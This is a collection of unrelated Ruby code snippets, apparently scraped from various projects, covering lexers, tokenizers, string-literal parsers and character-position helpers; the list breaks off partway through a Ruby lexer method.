"def lex_string(s)\n @files.stream_stash([FileIO.new(StringIO.new(s), \"-\")])\n r = do_read_token\n next?(\"\\n\")\n p = get_pos(0)\n if peek != nil # EOF\n raise \"#{p}: unconsumed input: #{s}\"\n # errorp(p, \"unconsumed input: %s\", s)\n end\n @files.stream_unstash\n r\n end",
"def line_char_to_offset(text, line, character); end",
"def read_string(token)\n opening_char = @marker.character\n token.kind = case opening_char\n when ?' then :single_string_lit\n when ?\" then :double_string_lit\n end\n\n escape = false\n chars = []\n\n while current = read_next()\n if escape\n current = case current\n when ?x, ?X\n # unicode hex escape\n peeked = peek_next()\n if !self.class::isxdigit(peeked)\n raise_error(:malformed_unicode_escape,\n \"Malformed unicode literal in string - no hex code provided.\")\n end\n\n hexnums = current == ?x ? 4 : 8\n\n current = 0\n begin\n current = current << 4 | (case peeked\n when ?A, ?a then 0xA\n when ?B, ?b then 0xB\n when ?C, ?c then 0xC\n when ?D, ?d then 0xD\n when ?E, ?e then 0xE\n when ?F, ?f then 0xF\n when ?0 then 0x0\n when ?1 then 0x1\n when ?2 then 0x2\n when ?3 then 0x3\n when ?4 then 0x4\n when ?5 then 0x5\n when ?6 then 0x6\n when ?7 then 0x7\n when ?8 then 0x8\n when ?9 then 0x9\n end)\n read_next()\n peeked = peek_next()\n hexnums -= 1\n end while self.class::isxdigit(peeked) && hexnums > 0\n current.chr(Encoding::UTF_8)\n\n when ?r then ?\\r\n when ?n then ?\\n\n when ?t then ?\\t\n when ?0 then ?\\0\n when ?b then ?\\b\n when ?a then ?\\a\n when ?f then ?\\f\n when ?v then ?\\v\n else current\n end\n escape = false\n else\n if current == opening_char\n break\n elsif current == ?\\\\\n escape = true\n next\n end\n end\n\n chars << current\n end\n\n raise_error(:unterminated_string, \"Unterminated string\") if !current\n\n token.value = chars.join('')\n end",
"def next_token\n\n token = nil\n\n until ss.eos? or token do\n if ss.peek(1) == \"\\n\"\n self.lineno += 1\n # line starts 1 position after the newline\n self.start_of_current_line_pos = ss.pos + 1\n end\n self.old_pos = ss.pos\n token =\n case state\n when nil then\n case\n when ss.skip(/[ \\t]+/) then\n # do nothing\n when ss.skip(/\\/\\/[^\\r\\n]*/) then\n # do nothing\n when text = ss.scan(/\\r|\\n/) then\n newline text\n when text = ss.scan(/[!=<>]=?/) then\n action { [:SPECIAL, text] }\n when text = ss.scan(/[(){},;.\\-+\\/*]/) then\n action { [:SPECIAL, text] }\n when text = ss.scan(/#{DIGIT}+(\\.#{DIGIT}+)?/) then\n action { [:NUMBER, text] }\n when text = ss.scan(/nil/) then\n action { [:NIL, text] }\n when text = ss.scan(/false/) then\n action { [:FALSE, text] }\n when text = ss.scan(/true/) then\n action { [:TRUE, text] }\n when text = ss.scan(/#{ALPHA}(#{ALPHA}|#{DIGIT})*/) then\n action { [:IDENTIFIER, text] }\n when ss.skip(/\"\"/) then\n action { [:STRING, '\"\"'] }\n when ss.skip(/\"/) then\n [:state, :IN_STRING]\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n when :IN_STRING then\n case\n when text = ss.scan(/[^\"]+/) then\n action { [:STRING, \"\\\"#{text}\\\"\"] }\n when ss.skip(/\"/) then\n [:state, nil]\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n else\n raise ScanError, \"undefined state at #{location}: '#{state}'\"\n end # token = case state\n\n next unless token # allow functions to trigger redo w/ nil\n end # while\n\n raise LexerError, \"bad lexical result at #{location}: #{token.inspect}\" unless\n token.nil? || (Array === token && token.size >= 2)\n\n # auto-switch state\n self.state = token.last if token && token.first == :state\n\n token\n end",
"def get\n @source_index += 1\n\n # Maintain line count.\n prev_char = @source_text[@source_index - 1]\n if @source_index.positive? && prev_char == \"\\n\"\n @line_index += 1\n @col_index = -1\n end\n\n @col_index += 1\n char = if @source_index > @last_index\n # Read past the end of source text.\n END_MARK\n else\n @source_text[@source_index]\n end\n Character.new(char, @line_index, @col_index, @source_index, @source_text)\n end",
"def line_offset(pos=pos)\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end",
"def next_token(str, start_pos)\n look_at = str[start_pos..-1]\n next_nonblank_pos = start_pos + (look_at =~ /\\S/ || 0)\n next_blank_pos =\n if next_match = str[next_nonblank_pos..-1] =~ /\\s/\n next_nonblank_pos + next_match\n else\n str.size\n end\n return [next_blank_pos, str[next_nonblank_pos...next_blank_pos]]\n end",
"def line_offset(pos=pos())\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end",
"def parse(str, offset=0)\n raise NotImplementedError\n end",
"def line_at(start_x, str)\n x = start_x\n move_to_x(start_x) if start_x > 1\n str.length.times do |i|\n $stdout.putc str[i] if x > 0 && x < @width\n x += 1\n end\n $stdout.putc \"\\n\"\n end",
"def next\n ret = peek_next\n @str.slice! @last_re if ret.type != :eos\n\n ret\n end",
"def index_of_char(string, character)\n i = 0\n position = nil\n while i < string.length\n if string[i] == character\n position = i\n break\n else\n i += 1\n end\n end\n return position\nend",
"def split_string(string)\n string.each_line.with_index do |line, index|\n end\nend",
"def ORIGnext_match str\n return unless str\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n ## =~ does not give an error, but it does not work.\n @native_text.each_with_index do |line, ix|\n offset = 0\n # next line just a hack and not correct if only one match in file FIXME\n offset = @curpos + 1 if ix == @current_index\n _col = line.index str, offset\n if _col\n first ||= [ ix, _col ]\n if ix > @current_index || ( ix == @current_index && _col > @curpos)\n return [ix, _col]\n end\n end\n end\n # if first is nil, then none found in current line also, so don't increment offset in current line\n # next time. FIXME TODO\n return first\n end",
"def string\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n return_value = StringReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 153:12: ( '\\\"' ( ESC | ~ ( '\\\\\\\\' | '\\\"' | '\\\\'' ) | '\\\\'' )* '\\\"' )\n # at line 153:12: ( '\\\"' ( ESC | ~ ( '\\\\\\\\' | '\\\"' | '\\\\'' ) | '\\\\'' )* '\\\"' )\n # at line 153:14: '\\\"' ( ESC | ~ ( '\\\\\\\\' | '\\\"' | '\\\\'' ) | '\\\\'' )* '\\\"'\n match(T__14, TOKENS_FOLLOWING_T__14_IN_string_1163)\n # at line 153:18: ( ESC | ~ ( '\\\\\\\\' | '\\\"' | '\\\\'' ) | '\\\\'' )*\n while true # decision 39\n alt_39 = 2\n look_39_0 = @input.peek(1)\n\n if (look_39_0.between?(WS, T__13) || look_39_0.between?(T__15, T__30) || look_39_0.between?(T__32, T__43))\n alt_39 = 1\n\n end\n case alt_39\n when 1\n # at line\n if @input.peek(1).between?(WS, T__13) || @input.peek(1).between?(T__15, T__30) || @input.peek(1).between?(T__32, T__43)\n @input.consume\n @state.error_recovery = false\n else\n mse = MismatchedSet(nil)\n raise mse\n end\n\n\n else\n break # out of loop for decision 39\n end\n end # loop for decision 39\n match(T__14, TOKENS_FOLLOWING_T__14_IN_string_1193)\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end\n\n return return_value\n end",
"def parse_str(io, stop_quote)\n buf = ''\n loop do\n c = io.read_one_char\n if c.nil?\n raise Error, \"The IO ran out before the end of a literal string\"\n elsif buf.length > 0 && buf[-1..-1] == ESC # If this char was escaped\n # Trim the escape character at the end of the buffer\n buf = buf[0..-2] \n buf << c\n elsif c == stop_quote\n return buf\n else\n buf << c\n end\n end\n end",
"def next_char\n @pos += 1\n if (c = @source[@pos..@pos]) == BACKSLASH\n @pos += 1\n [true, @source[@pos..@pos]]\n else\n [false, c]\n end\n end",
"def read_next()\n return nil if @at_end\n\n begin\n pos = @marker.position\n\n if @marker.character == ?\\n\n pos.line += 1\n pos.column = 0\n end\n\n @marker.character = @reader.next\n @marker.source_index += 1\n pos.column += 1\n rescue StopIteration\n @at_end = true\n @marker.character = nil\n end\n\n @marker.character\n end",
"def index_less_than_str?(index, str)\n index < str.length and yield(str[index..index+1])\n end",
"def index_of_char(str, char)\n i = 0\n while i < str.length\n if str[i] == char\n return i\n end\n\n i += 1\n end\n\n return nil\nend",
"def character(index = nil)\n return '' if line && line.empty?\n return line[-1] unless index\n\n Vedeu::Editor::Item.by_index(line, index)\n end",
"def nextchar\n c = self.more?() ? @source[@index,1] : \"\\0\"\n @index += 1\n return(c)\n end",
"def next()\n @index += 1\n @string[@index...(@index+1)]\n end",
"def tokenized_index(string, index)\n index.modulo(string.length)\n end",
"def parse_line(line)\n # If the previous line didn't and a logical line, we're not going to start one. If it did,\n # we're indeed going to start a new logical line\n @state[:ll_start] = @state[:ll_end]\n\n # We will start with the assumption that we're going to end the current logical line. We may layer\n # find out that we did not, in fact, do so.\n @state[:ll_end] = true\n\n # Reset the line continuator flag the the last line may have set to true\n @state[:line_continuator] = false\n\n # Find the first non-(space/tab) character\n index = 0\n while index < line.length && [\" \", \"\\t\"].include?(line[index])\n index += 1\n end\n @state[:indent_string] = line[0...index]\n\n # Iterate over the line's characters as long as there are any. We use different iteration\n # methods depending on whether we're inside a string or not\n index = 0\n while index < line.length\n if @state[:in_string].nil?\n index = parse_characters_normal(line, index)\n else\n index = parse_characters_in_string(line, index)\n end\n end\n\n # We have reached the end of the line. Decide whether or not the logical line ends here.\n @state[:ll_end] = @state[:in_string].nil? && @state[:open_braces] == 0 && !@state[:line_continuator]\n end",
"def each_index_of_char_in_string(string, char)\n index = 0\n while index\n index = string.index(char, index)\n if index\n yield index\n index += 1\n end\n end\n end",
"def wc_index(str, pat, start_idx)\n size = str.size - pat.size\n while start_idx <= size\n ridx = start_idx\n repls = ''\n pat.each_char do |ch|\n str_char = str[ridx]\n if str_char != ch\n if ch != '.'\n ridx = nil\n break\n else\n repls += str_char\n end\n end\n ridx += 1\n end\n return start_idx, repls unless ridx.nil?\n\n start_idx += 1\n end\n [nil, '']\nend",
"def next_regex str\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n ## =~ does not give an error, but it does not work.\n @list.each_with_index do |line, ix|\n col = line =~ /#{str}/\n if col\n first ||= [ ix, col ]\n if ix > @current_index\n return [ix, col]\n end\n end\n end\n return first\n end",
"def get_character(full_string, index)\n full_string[index]\nend",
"def balanced_string(str, end_str)\n continue_count = 0\n stack = [end_str]\n prev = ''\n (1...str.size).each do |i|\n if continue_count > 0\n continue_count -= 1\n next\n end\n case letter = str[i]\n when \"\\\\\"\n continue_count += 1\n next\n when end_str\n stack.pop\n return str[0..i] unless stack.size > 0\n end_str = stack[stack.size - 1]\n next\n end\n if end_str == '}' && ['\"', \"'\"].include?(letter)\n stack.push(end_str = letter)\n elsif end_str == '}' && letter == '/' && (match = str[i..-1].match(HEREGEX)) || str[i..-1].match(REGEX)\n continue_count += match[0].size - 1\n elsif end_str == '}' && letter == '{'\n stack.push(end_str = '}')\n elsif end_str == '\"' && prev == '#' && letter == '{'\n stack.push(end_str = '}')\n end\n prev = letter\n end\n raise_syntax_error! \"missing #{stack.pop}, starting\"\n end",
"def get_char_position_in_line\n raise NotImplementedError\n end",
"def find_close_parens_index(str)\n levels = 0\n index = 0\n str.each_char do |char|\n case char\n when '(' then\n levels += 1\n when ')' then\n levels -= 1\n else\n end\n return index if levels == 0\n index += 1\n end\n raise Exception, \"cannot find end of parameter expression!\"\n end",
"def match(ptr, depth = 0)\n case c = ptr.peek(1)\n when '\"', '`'\n start_pos = ptr.pos\n ptr.pos += 1\n AST.new(:string, value: ptr.scan_until(/#{c}/).chop,\n attributes: { type: char_to_type(c) },\n pos: start_pos)\n end\n end",
"def next_token\n\n if @ss.bol?\n @line+=1\n @[email protected]\n end\n\n position=[@line,@ss.pos-@old_pos+1]\n\n return :eos if @ss.eos?\n\n case\n when text = @ss.scan(NEWLINE)\n next_token()\n when text = @ss.scan(SPACE)\n next_token()\n when text = @ss.scan(COMMENT)\n next_token()\n when text = @ss.scan(ARROW)\n return Token.new [:arrow,text,position]\n when text = @ss.scan(LT)\n return Token.new [:lt,text,position]\n when text = @ss.scan(LBRACK)\n return Token.new [:lbrack,text,position]\n when text = @ss.scan(RBRACK)\n return Token.new [:rbrack,text,position]\n when text = @ss.scan(IDENTIFIER)\n case\n when value = text.match(IDENT)\n return Token.new [:IDENT,text,position]\n when value = text.match(FLOAT)\n return Token.new [:FLOAT,text,position]\n when value = text.match(INT)\n return Token.new [:INT,text,position]\n when value = text.match(STRING)\n return Token.new [:STRING,text,position]\n when value = text.match(MODULE)\n return Token.new [:module,text,position]\n when value = text.match(CLASS)\n return Token.new [:class,text,position]\n when value = text.match(END_)\n return Token.new [:end,text,position]\n when value = text.match(ATTR)\n return Token.new [:attr,text,position]\n when value = text.match(LPAREN)\n return Token.new [:lparen,text,position]\n when value = text.match(RPAREN)\n return Token.new [:rparen,text,position]\n else\n return Token.new [:identifier,text,position]\n end\n else\n x = @ss.getch\n return Token.new [x, x,position]\n end\n end",
"def peek_next\n fail 'No string specified' unless @str\n\n return Token.new(:eos) if skip_space == :eos\n\n PATTERNS.each do |re, func|\n re.match(@str) do |mat|\n @last_re = re # This is what will be removed\n mat = mat.to_s\n return func.is_a?(Symbol) ? send(func, mat) : instance_exec(mat, &func)\n end\n end\n end",
"def parse line\n normalize(@lexer.tokenize(line)).select { |t| t.is_a? String }\n end",
"def consume(str, char)\n raise AssertionError.new(\"Expected '#{char}'\") unless str[0] == char\n return str[1..-1].strip\n end",
"def readline sep_string=$/\n buffer = \"\"\n until buffer[-1..-1] == sep_string || @io.eof?\n buffer << read(1)\n end\n\n buffer\n end",
"def parse_value(string)\n continuation = false\n\n # if our value starts with a double quote, then we are in a\n # line continuation situation\n if leading_quote?\n # check for a closing quote at the end of the string\n if string =~ @close_quote\n self.value += Regexp.last_match(1)\n\n # otherwise just append the string to the value\n else\n self.value += string\n continuation = true\n end\n\n # not currently processing a continuation line\n else\n case string\n when @full_quote\n self.value = Regexp.last_match(1)\n\n when @open_quote\n self.value = Regexp.last_match(1)\n continuation = true\n\n when @trailing_slash\n if self.value\n self.value += Regexp.last_match(1)\n else\n self.value = Regexp.last_match(1)\n end\n continuation = true\n\n when @normal_value\n if self.value\n self.value += Regexp.last_match(1)\n else\n self.value = Regexp.last_match(1)\n end\n\n else\n error\n end\n end\n\n if continuation\n self.value += $INPUT_RECORD_SEPARATOR if leading_quote?\n else\n process_property\n end\n\n continuation\n end",
"def index(str, pos)\n case\n when @left.size <= pos\n @right.index(str, pos - @left.size)\n when (ret = @left.index(str, pos))\n ret\n else\n self.each_char_from(pos){|c, i|\n }\n # Search is done for <= @left[]\n left_s = kkk\n left_p = pos\n end\n end",
"def read_string\n strout = ''\n if next_char != '\\''\n raise UnpickleException, \"Couldn't find leading quote for string\"\n end\n while not at_end?\n c = next_char\n case c\n when \"\\\\\"\n opt = next_char\n case opt\n when 'x'\n strout += read_hex(2).chr\n when '0'\n num = ''\n while peek_char.match(/[0-7]/)\n num += next_char\n if num.length >= 3\n break\n end\n end\n unless (1..3).include?(num.length)\n raise UnpickleException, \"Bad \\\\0 sequence in string\"\n end\n strout += num.to_i(8).chr\n when 'n'\n strout += \"\\n\"\n when \"\\\\\"\n strout += \"\\\\\"\n when 't'\n strout += \"\\t\"\n when \"'\"\n strout += \"'\"\n else\n raise UnpickleException, \"Unexpected \\\\ escape: \\\\#{opt}\"\n end\n when \"'\"\n # valid end of string...\n break\n else\n strout += c\n end\n end\n if next_char != \"\\n\"\n raise UnpickleException, \"Expected \\\\n after string\"\n end\n return strout\n end",
"def findAt(ind)\n howMany = 0\n\n ind.each_char do |let|\n if let ==\"@\"\n howMany += 1\n else\n next\n end\n\n end\n\n if howMany == 1\n return true\n else\n return false\n end\n\nend",
"def character_at(source_position, offset = 0)\n actual_line = source_position.line - 1\n actual_offset = source_position.offset + offset - 1\n\n # Return a newline if offset points at the very end of the line\n return \"\\n\" if actual_offset == engine.lines[actual_line].length\n\n engine.lines[actual_line][actual_offset]\n end",
"def advance \n \n @pos += 1\n if @pos > @text.length - 1\n @currentChar = nil\n else \n @currentChar = @text[@pos]\n end\n \n end",
"def next_token\n return if @scanner.eos?\n\n if @scanner.scan(SKIP_PATTERN)\n @column += @scanner[:before].length\n\n new_lines = @scanner[:new_line].delete(\"\\r\")\n unless new_lines.empty?\n @lineno += new_lines.length\n @column = 0\n end\n\n @column += @scanner[:after].length\n end\n\n token =\n case\n when try_match(REFERENCE_PATTERN)\n Token.new :REFERENCE, @scanner[:identifier], @lineno, @column\n when try_match(PATH_PATTERN)\n Token.new :PATH, @scanner[:identifier], @lineno, @column\n when try_match(FILTER_PATTERN) && @scanner.check(OPEN_PAREN_PATTERN)\n Token.new :FILTER, \"?\", @lineno, @column\n when try_match(OPEN_BRACKET_PATTERN)\n @state_stack.push Token.new :OPEN_BRACKET, \"[\", @lineno, @column\n @state_stack.last\n when try_match(OPEN_PAREN_PATTERN)\n @state_stack.push Token.new :OPEN_PAREN, \"(\", @lineno, @column\n @state_stack.last\n when try_match(CLOSE_BRACKET_PATTERN)\n last = @state_stack.pop\n unless last\n raise TokenizeError.unexpected(\"]\", @lineno, @column)\n end\n unless last.type == :OPEN_BRACKET\n raise TokenizeError.unbalanced(\"[\", last.lineno, last.column)\n end\n Token.new :CLOSE_BRACKET, \"]\", @lineno, @column\n when try_match(CLOSE_PAREN_PATTERN)\n last = @state_stack.pop\n unless last\n raise TokenizeError.unexpected(\")\", @lineno, @column)\n end\n unless last.type == :OPEN_PAREN\n raise TokenizeError.unbalanced(\"(\", last.lineno, last.column)\n end\n Token.new :CLOSE_PAREN, \")\", @lineno, @column\n when try_match(SELF_PATTERN)\n Token.new :SELF, \"@\", @lineno, @column\n when try_match(NUMBER_PATTERN)\n Token.new :NUMBER, BigDecimal.new(@last_captured), @lineno, @column\n when try_match(STRING_PATTERN)\n Token.new :STRING, @scanner[:str], @lineno, @column\n when try_match(TRUE_PATTERN)\n Token.new :BOOLEAN, true, @lineno, @column\n when try_match(FALSE_PATTERN)\n Token.new :BOOLEAN, false, @lineno, @column\n when try_match(COLON_PATTERN)\n Token.new :COLON, \":\", @lineno, @column\n when try_match(COMMA_PATTERN)\n Token.new :COMMA, \",\", @lineno, @column\n when try_match(ADD_PATTERN)\n Token.new :ADD, \"+\", @lineno, @column\n when try_match(SUBTRACT_PATTERN)\n case @tokens.last&.type\n when nil, :OPEN_PAREN, :OPEN_BRACKET, :COMMA, :COLON, :POW, :MOD, :ADD, :SUBTRACT, :MULTIPLY, :DIVIDE\n if @scanner.check(NUMBER_PATTERN) ||\n @scanner.check(REFERENCE_PATTERN) ||\n @scanner.check(SUBTRACT_PATTERN) ||\n @scanner.check(OPEN_PAREN_PATTERN)\n Token.new :UMINUS, \"-\", @lineno, @column\n else\n raise TokenizeError.unexpected(\"-\", @lineno, @column)\n end\n else\n Token.new :SUBTRACT, \"-\", @lineno, @column\n end\n when try_match(MULTIPLY_PATTERN)\n Token.new :MULTIPLY, \"*\", @lineno, @column\n when try_match(DIVIDE_PATTERN)\n Token.new :DIVIDE, \"/\", @lineno, @column\n when try_match(POW_PATTERN)\n Token.new :POW, \"^\", @lineno, @column\n when try_match(MOD_PATTERN)\n Token.new :MOD, \"%\", @lineno, @column\n when try_match(EQUAL_TO_PATTERN)\n Token.new :EQUAL_TO, \"==\", @lineno, @column\n when try_match(NOT_EQUAL_TO_PATTERN)\n Token.new :NOT_EQUAL_TO, \"!=\", @lineno, @column\n when try_match(GREATER_THAN_OR_EQUAL_TO_PATTERN)\n Token.new :GREATER_THAN_OR_EQUAL_TO, \">=\", @lineno, @column\n when try_match(GREATER_THAN_PATTERN)\n Token.new :GREATER_THAN, \">\", @lineno, @column\n when try_match(LESS_THAN_OR_EQUAL_TO_PATTERN)\n Token.new :LESS_THAN_OR_EQUAL_TO, \"<=\", @lineno, @column\n when try_match(LESS_THAN_PATTERN)\n Token.new :LESS_THAN, \"<\", @lineno, @column\n when try_match(AND_PATTERN)\n Token.new :AND, \"&&\", @lineno, @column\n when try_match(OR_PATTERN)\n Token.new :OR, \"||\", @lineno, @column\n when try_match(NOT_PATTERN)\n Token.new :NOT, \"!\", @lineno, @column\n when try_match(INTERSECT_PATTERN)\n Token.new :INTERSECT, \"&\", @lineno, @column\n when try_match(UNION_PATTERN)\n Token.new :UNION, \"|\", @lineno, @column\n when try_match(IDENTIFIER_PATTERN) && @scanner.check(OPEN_PAREN_PATTERN)\n unless @scanner.check(OPEN_PAREN_PATTERN)\n raise TokenizeError.unexpected(@scanner.peek(7), @lineno, @column)\n end\n Token.new :FUNCTION, @last_captured, @lineno, @column\n else\n raise TokenizeError.unexpected(@scanner.peek(7), @lineno, @column)\n end\n\n @column += @last_captured.length\n @tokens << token\n\n token\n end",
"def parse(script)\n next_token_id = 0\n\n token_records = []\n\n # Maps token name to token entry\n @tokenNameMap = {}\n\n script_lines = script.split(\"\\n\")\n @original_line_numbers = []\n\n # Join lines that have been ended with '\\' to their following lines;\n # only do this if there's an odd number of '\\' at the end\n\n @lines = []\n accum = nil\n accum_start_line = nil\n\n script_lines.each_with_index do |line, original_line_number|\n\n trailing_backslash_count = 0\n while line.length > trailing_backslash_count && line[-1-trailing_backslash_count] == '\\\\'\n trailing_backslash_count += 1\n end\n\n if accum.nil?\n accum = \"\"\n accum_start_line = original_line_number\n end\n\n if (trailing_backslash_count % 2 == 1)\n accum << line[0...-1]\n else\n accum << line\n @lines << accum\n @original_line_numbers << accum_start_line\n accum = nil\n end\n end\n\n if !accum.nil?\n raise ParseException, \"Incomplete final line: #{script}\"\n end\n\n # Now that we've stitched together lines where there were trailing \\ characters,\n # process each line as a complete token definition\n\n @lines.each_with_index do |line, line_index|\n line_number = 1 + @original_line_numbers[line_index]\n\n # Strip whitespace only from the left side (which will strip all of\n # it, if the entire line is whitespace). We want to preserve any\n # special escaped whitespace on the right side.\n line.lstrip!\n\n # If line is empty, or starts with '#', it's a comment\n if line.length == 0 || line[0] == '#'\n next\n end\n\n if !(line =~ TOKENNAME_EXPR)\n raise ParseException.build(\"Syntax error\", line_number, line)\n end\n\n pos = line.index(\":\")\n\n tokenName = line[0,pos].strip()\n\n expr = line[pos+1..-1]\n\n rex = RegParse.new(expr, @tokenNameMap, line_number)\n\n # Give it the next available token id, if it's not an anonymous token; else -1\n\n token_id = -1\n if tokenName[0] != '_'\n token_id = next_token_id\n next_token_id += 1\n end\n\n entry = TokenEntry.new(tokenName, rex, token_id)\n\n if @tokenNameMap.has_key?(tokenName)\n raise ParseException.build(\"Duplicate token name\",line_number,line)\n end\n @tokenNameMap[entry.name] = entry\n\n next if entry.id < 0\n\n if accepts_zero_characters(rex.start_state, rex.endState)\n raise ParseException.build(\"Zero-length tokens accepted\",line_number,line)\n end\n\n token_records << entry\n end\n\n combined = combine_token_nfas(token_records)\n\n builder = NFAToDFA.new(combined)\n builder.generate_pdf = @generate_pdf\n dfa = builder.nfa_to_dfa\n\n apply_redundant_token_filter(token_records, dfa)\n\n Tokn::DFA.new(token_records.map{|x| x.name}, dfa)\n end",
"def peek_char(lookahead = 1)\n @string[@current_char_pos + lookahead, 1]\n end",
"def next_token\n result = peek_token\n @start = @finish\n return result if @start >= @expr.length\n\n if @expr[@start].numeric?\n @finish = @start + 1\n while @finish < @expr.length && @expr[@finish].to_s.numeric?\n @finish = @finish + 1\n end\n else\n @finish = @start + 1\n end\n result\n end",
"def scanstring(string)\n @error_list = \"\"\n work_string = string\n run_pos = 0\n begin\n @validator.valid_encoding?(work_string, true)\n rescue UTF8::ValidationError => e\n # Extract offset of error, keep running offset up to date\n last_colon = e.message.rindex(':')\n last_lparen = e.message.rindex('(')\n epos = e.message[last_colon+1..last_lparen-1]\n sub_start = epos.to_i\n if run_pos == 0\n run_pos += sub_start\n else\n run_pos += sub_start + 1\n end\n # Start again at error offset + 1\n work_string = work_string[sub_start+1..-1]\n # Build next error message\n next_emsg = e.message[0..last_colon] # Part A of current message\n # Add running offset position\n run_pos_str = sprintf \"%d(0x%x)\", run_pos, run_pos\n next_emsg += run_pos_str\n #\n @error_list += next_emsg\n @error_list += \"\\n\"\n retry\n end\n end",
"def nextchars(n)\n raise \"substring bounds error\" if (@index + n > @source.length)\n i = @index\n @index += n\n return(@source[i,n])\n end",
"def lex_line\n @chunks = @line.scan(/#{BRACKET_RE}|#{DATE_RE}|#{MOD_RE}|#{ATTR_REGEX}|#{OTHER_RE}/).chunk do |seg|\n case seg\n when BRACKET_RE then :bracket\n when MOD_RE then :modifier\n when DATE_RE then :date\n when ATTR_REGEX then :attr\n when OTHER_RE then :other\n else :error\n end\n end.to_a\n # it should be impossible to encounter errors, but cry if they happen\n check_for_errors\n @chunks\n end",
"def read_until(str, start_pos, break_char)\n new_str = \"\"\n i = start_pos\n while i < str.length do\n break if str[i] == break_char\n new_str << str[i]\n i += 1\n end\n\n [i, new_str]\n end",
"def tokenize_possible_escaped_string(&block)\n if peek_char == \"'\"\n handle_token(SQLTree::Token::STRING_ESCAPE, &block)\n else\n tokenize_keyword(&block)\n end\n end",
"def test_char8\n input = \"' hello\\\\n there\"\n token, value, rest = @c.lex(input)\n assert_equal(:open, token)\n assert_equal(\"'\", value)\n assert_equal(\"' hello\\\\n there\", rest)\n end",
"def line\n return 1 unless lexing_context && locator\n locator.line_for_offset(lexing_context[:end_offset])\n end",
"def next_token\n return process_string if lex_strterm\n self.cmd_state = self.command_start\n self.command_start = false\n self.space_seen = false # TODO: rename token_seen?\n self.last_state = lex_state\n\n token = nil\n\n until ss.eos? or token do\n token =\n case state\n when nil then\n case\n when ss.skip(/[\\ \\t\\r\\f\\v]/) then\n action { self.space_seen = true; next }\n when text = ss.scan(/\\n|\\#/) then\n process_newline_or_comment text\n when text = ss.scan(/[\\]\\)\\}]/) then\n process_brace_close text\n when ss.match?(/\\!/) then\n case\n when is_after_operator? && (ss.skip(/\\!\\@/)) then\n action { result EXPR_ARG, :tUBANG, \"!@\" }\n when text = ss.scan(/\\![=~]?/) then\n action { result :arg_state, TOKENS[text], text }\n end # group /\\!/\n when ss.match?(/\\./) then\n case\n when text = ss.scan(/\\.\\.\\.?/) then\n action { result EXPR_BEG, TOKENS[text], text }\n when ss.skip(/\\.\\d/) then\n action { rb_compile_error \"no .<digit> floating literal anymore put 0 before dot\" }\n when ss.skip(/\\./) then\n action { self.lex_state = EXPR_BEG; result EXPR_DOT, :tDOT, \".\" }\n end # group /\\./\n when text = ss.scan(/\\(/) then\n process_paren text\n when text = ss.scan(/\\,/) then\n action { result EXPR_PAR, TOKENS[text], text }\n when ss.match?(/=/) then\n case\n when text = ss.scan(/\\=\\=\\=|\\=\\=|\\=~|\\=>|\\=(?!begin\\b)/) then\n action { result arg_state, TOKENS[text], text }\n when bol? && (text = ss.scan(/\\=begin(?=\\s)/)) then\n process_begin text\n when text = ss.scan(/\\=(?=begin\\b)/) then\n action { result arg_state, TOKENS[text], text }\n end # group /=/\n when ruby22_label? && (text = ss.scan(/\\\"#{SIMPLE_STRING}\\\":/o)) then\n process_label text\n when text = ss.scan(/\\\"(#{SIMPLE_STRING})\\\"/o) then\n action { result EXPR_END, :tSTRING, text[1..-2].gsub(ESC) { unescape $1 } }\n when text = ss.scan(/\\\"/) then\n action { string STR_DQUOTE; result nil, :tSTRING_BEG, text }\n when text = ss.scan(/\\@\\@?\\d/) then\n action { rb_compile_error \"`#{text}` is not allowed as a variable name\" }\n when text = ss.scan(/\\@\\@?#{IDENT_CHAR}+/o) then\n process_ivar text\n when ss.match?(/:/) then\n case\n when not_end? && (text = ss.scan(/:([a-zA-Z_]#{IDENT_CHAR}*(?:[?]|[!](?!=)|=(?==>)|=(?![=>]))?)/o)) then\n process_symbol text\n when not_end? && (text = ss.scan(/\\:\\\"(#{SIMPLE_STRING})\\\"/o)) then\n process_symbol text\n when not_end? && (text = ss.scan(/\\:\\'(#{SSTRING})\\'/o)) then\n process_symbol text\n when text = ss.scan(/\\:\\:/) then\n process_colon2 text\n when text = ss.scan(/\\:/) then\n process_colon1 text\n end # group /:/\n when ss.skip(/->/) then\n action { result EXPR_ENDFN, :tLAMBDA, nil }\n when text = ss.scan(/[+-]/) then\n process_plus_minus text\n when ss.match?(/[+\\d]/) then\n case\n when ss.skip(/#{NUM_BAD}/o) then\n action { rb_compile_error \"Invalid numeric format\" }\n when ss.skip(/#{INT_DEC}/o) then\n action { int_with_base 10 }\n when ss.skip(/#{INT_HEX}/o) then\n action { int_with_base 16 }\n when ss.skip(/#{INT_BIN}/o) then\n action { int_with_base 2 }\n when ss.skip(/#{INT_OCT_BAD}/o) then\n action { rb_compile_error \"Illegal octal digit.\" }\n when ss.skip(/#{INT_OCT}/o) then\n action { int_with_base 8 }\n when ss.skip(/#{FLOAT_BAD}/o) then\n action { rb_compile_error \"Trailing '_' in number.\" }\n when text = ss.scan(/#{FLOAT}/o) then\n process_float text\n when ss.skip(/#{INT_DEC2}/o) then\n action { int_with_base 10 }\n when ss.skip(/[0-9]/) then\n action { rb_compile_error \"Bad number format\" }\n end # group /[+\\d]/\n when text = ss.scan(/\\[/) then\n process_square_bracket text\n when was_label? && (text = ss.scan(/\\'#{SSTRING}\\':?/o)) then\n process_label_or_string text\n when ss.match?(/\\|/) then\n case\n when ss.skip(/\\|\\|\\=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"||\" }\n when ss.skip(/\\|\\|/) then\n action { result EXPR_BEG, :tOROP, \"||\" }\n when 